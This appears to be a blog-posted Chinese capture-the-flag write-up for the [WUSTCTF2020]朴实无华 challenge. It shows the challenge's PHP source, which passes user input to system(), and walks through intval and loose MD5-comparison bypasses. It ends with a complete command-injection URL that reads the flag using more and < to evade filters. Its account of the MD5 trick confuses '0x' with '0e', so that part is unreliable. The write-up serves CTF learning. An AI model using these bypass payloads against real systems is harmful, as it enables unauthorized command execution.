当前位置:网站首页>[WUSTCTF2020]朴实无华1
[WUSTCTF2020]朴实无华1
2022-08-08 06:22:00 【Joker. .】
进来之后一张图片看不出来啥,抓个包也没发现什么

这个时候就只能扫扫后台了,这里要设置一下-s,不然扫不出来
有个robots.txt,进来有个文件

打开发现不是flag,继续抓个包看看

可以看到有个f14g.php

继续访问,发现关键代码,但是有乱码,在网上学了一招,用火孤修复

按Alt有个查看,这里修复点一下就行

通关代码拿到
<?phpheader('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}三个绕过,第一个
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}这里需要掌握intval函数的绕过方式,intval函数,此函数在处理数据时会在接触到字符串时停止,也就是说如果传入1e4(10000),经函数解析后会变为1,但是你在+1之后会变为10001,就能成功绕过

第二个绕过
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}php弱类型比较,要求本身和其MD5值相等,弱比较中会截取一个字符串的数字,知道遇到字符截止,比如'11e33',就会被读取为11再比较,如果是'aa111',就会被读取为0,php在以0x开头的字符串进行==弱比较时,会认为是相同的。所以这里就只需找到一个以0x开头的字符串,并且md5加密后也以0x开头的字符串。这里就在wp中找一个吧
0e215962017

成功绕过,接下来第三个
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){//用于判断字符串空格是否是$ get_flag的子串(过滤空格)
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}这里cat命令也被过滤了

查看一下目录

接下来就是打开了,cat被过滤可以用more,空格被过滤,这里就用<
一些空格绕过方法

最终payload:
/fl4g.php/num=1e4&md5=0e215962017&get_flag=more<fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

边栏推荐
猜你喜欢
随机推荐
【微信小程序】一文学懂小程序的数据绑定和事件绑定
ax.patches 表示什么?
YoloV4训练自己的数据集(三)
C语言三子棋游戏进阶版详解(包括多子棋)
oracle的插入sql错误
图像融合简介
遥远的救世主
Neural network to solve what problem, neural network results is not stable
oracle insert sql error
torch.gather() usage interpretation
ffmpeg获取视频时长和分辨率
Anaconda安装使用
np.iinfo和 np.finfo的用法
10道集合框架面试题(含解析),来看看你会多少
AttributeError: ‘GridSearchCV‘ object has no attribute ‘grid_scores_‘
模板实例化导致编译器未能识别decltype(auto)
Neo4j服务配置
从ELF格式分析arm动态链接原理
Scrapy_Redis 分布式处理
利用pycharm自定义关键字颜色









